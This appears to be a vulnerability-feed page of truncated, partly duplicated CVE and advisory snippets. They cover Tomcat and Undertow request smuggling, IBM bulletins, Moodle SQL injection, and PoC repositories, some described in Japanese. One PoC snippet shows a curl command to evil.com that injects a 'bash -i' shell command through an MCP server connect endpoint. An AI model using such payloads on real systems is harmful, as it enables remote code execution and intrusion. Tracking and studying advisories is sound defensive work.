CVE-2026-77756

Inconsistent Interpretation of HTTP Requests 'HTTP Request/Response Smuggling' vulnerability in Apache Tomcat caused by processing the transfer-encoding header for an HTTP/1.0 request may allow an attacker to cause one request from another user to fail when Tomcat is located behind a reverse prox...

EUVD-2026-85235

Inconsistent interpretation of HTTP/2 requests 'HTTP Request/Response smuggling' vulnerability in Apache Tomcat caused by a regression in fix for CVE-2026-41293 can trigger request header mix-up. This issue affects Apache Tomcat: from 11.0.22 through 11.0.25, from 10.1.55 through 10.1.59, from...

CVE-2026-86350

Inconsistent interpretation of HTTP/2 requests 'HTTP Request/Response smuggling' vulnerability in Apache Tomcat caused by a regression in fix for CVE-2026-41293 can trigger request header mix-up. This issue affects Apache Tomcat: from 11.0.22 through 11.0.25, from 10.1.55 through 10.1.59, from...

CVE-2026-86350 Apache Tomcat: Regression in fix for CVE-2026-41293 can trigger request header mix-up

Inconsistent interpretation of HTTP/2 requests 'HTTP Request/Response smuggling' vulnerability in Apache Tomcat caused by a regression in fix for CVE-2026-41293 can trigger request header mix-up. This issue affects Apache Tomcat: from 11.0.22 through 11.0.25, from 10.1.55 through 10.1.59, from...

CVE-2026-86350

Apache Tomcat is vulnerable to an HTTP Request/Response smuggling vulnerability caused by a regression in the fix for CVE-2026-41293 . This issue results in an inconsistent interpretation of HTTP/2 requests , which can trigger a request header mix-up . The vulnerability affects versions 11.0.22 t...

CVE-2026-77756 Apache Tomcat: Transfer-Encoding honored for HTTP/1.0 requests

Inconsistent Interpretation of HTTP Requests 'HTTP Request/Response Smuggling' vulnerability in Apache Tomcat caused by processing the transfer-encoding header for an HTTP/1.0 request may allow an attacker to cause one request from another user to fail when Tomcat is located behind a reverse prox...

CVE-2026-77756

Apache Tomcat is vulnerable to an HTTP Request/Response Smuggling vulnerability due to the inconsistent interpretation of the transfer-encoding header for HTTP/1.0 requests. When positioned behind a reverse proxy, an attacker can exploit this to cause requests from other users to fail. This issue...

EUVD-2026-85226

Inconsistent Interpretation of HTTP Requests 'HTTP Request/Response Smuggling' vulnerability in Apache Tomcat caused by processing the transfer-encoding header for an HTTP/1.0 request may allow an attacker to cause one request from another user to fail when Tomcat is located behind a reverse prox...

CVE-2026-77756

Inconsistent Interpretation of HTTP Requests 'HTTP Request/Response Smuggling' vulnerability in Apache Tomcat caused by processing the transfer-encoding header for an HTTP/1.0 request may allow an attacker to cause one request from another user to fail when Tomcat is located behind a reverse prox...

CVE-2025-55182-Lab

CVE-2025-55182 ラボ CVE-2025-55182 React2Shell を利用したハンズオンラボ - React Server Components におけるリモートコード実行。 ⚠️ 免責事項 教育目的のみ。 自分が所有するシステムでのみテストしてください。 クイックスタート root@kitploit: Clone and start git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab.git cd CVE-2025-55182-Lab docker-compose up -d Wait 2...

CVE-2025-63564

The Moodle Socialwall plugin versions v.3.0 through v.3.3 are affected by a SQL injection vulnerability. An attacker can exploit this flaw by sending crafted HTTP requests , which may lead to the execution of arbitrary code . The vulnerability is classified with a CRITICAL base severity score of ...

Security Bulletin: Vulnerabilities in WebSphere Liberty profile(CVE-2026-14525, CVE-2026-16192, CVE-2026-10571, CVE-2026-14976, CVE-2026-15280, CVE-2026-18499, CVE-2026-14980, CVE-2026-2482, CVE-2026-14529, CVE-2026-10841) affect Power PowerVM Novalink

Summary The WebSphere Liberty profile used by PowerVM Novalink. Novalink has addressed the applicable CVEs. Vulnerability Details CVEID:CVE-2026-10571 DESCRIPTION: IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 is affected by a denial of service caused by insecure...

undertow-core: Undertow:HTTP request smuggling via oversized chunk-size bit overlap

A flaw was found in the ChunkReader component of the Undertow HTTP server, which is used by WildFly and JBoss EAP to handle chunked transfer encoding. The issue occurs because the parser uses a single internal variable to store both the remaining chunk size and state flags. By sending a specially...

undertow-core: Undertow:HTTP request smuggling via oversized chunk-size bit overlap

A flaw was found in the ChunkReader component of the Undertow HTTP server, which is used by WildFly and JBoss EAP to handle chunked transfer encoding. The issue occurs because the parser uses a single internal variable to store both the remaining chunk size and state flags. By sending a specially...

undertow-core: Undertow:HTTP request smuggling via oversized chunk-size bit overlap

A flaw was found in the ChunkReader component of the Undertow HTTP server, which is used by WildFly and JBoss EAP to handle chunked transfer encoding. The issue occurs because the parser uses a single internal variable to store both the remaining chunk size and state flags. By sending a specially...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP Server の脆弱性に関する PoC。 適切な本文を持つ投稿部分を自動化しました。 脆弱なパス: root@kitploit: /api/mcp/connect curl による方法: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i &...

Security Bulletin: IBM Guardium Data Protection is affected by multiple vulnerabilities.

Summary IBM Guardium Data Protection has addressed these vulnerabilities in an update. Vulnerability Details CVEID:CVE-2026-41417 DESCRIPTION: Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via...

CVE-2026-44789-n8n-PrototypePollution-RCE

CVE-2026-44789 — n8n HTTPリクエストノード ページネーション プロトタイプ汚染 → RCE 認証された n8n 1.123.43 のワークフロー作成者が、HTTPリクエストノードのページネーション設定を通じて n8n サーバー プロセスのObject.prototypeを汚染し、 n8nがタスクランナーを起動する方法を悪用してリモートコード実行 にエスカレーションします。 汚染されたNODEOPTIONSが子nodeプロセスに漏れ出し、コードノードのサンドボックスをバイパスします。...

CVE-2026-23744

CVE-2026-23744 説明 MCPJam inspector は、MCP サーバー向けのローカルファースト開発プラットフォームです。バージョン =1.4.2 にはリモートコード実行の脆弱性があり、攻撃者が細工した HTTP リクエストを送信すると MCP サーバーのインストールが誘発されて RCE に至る可能性があります。脆弱性の詳細については、参照リンクをご覧ください。 使用方法 要件 root@kitploit: $ pip install requests 概念実証（PoC）の使用方法 root@kitploit: $ python3 exploit.py -h --lho...

CVE-2002-0200

CVE-2002-0200 Windows 用 Cyberstop Web Server 0.1 には、MS-DOS デバイス名に対する HTTP リクエストを介して、リモート攻撃者がサービス拒否（DoS）を引き起こすことができる脆弱性があります。 外部参照: https://marc.info/?l=bugtraq&m=101174569103289&w=2 著者 Alex Hernandez 別名 @alt3kx...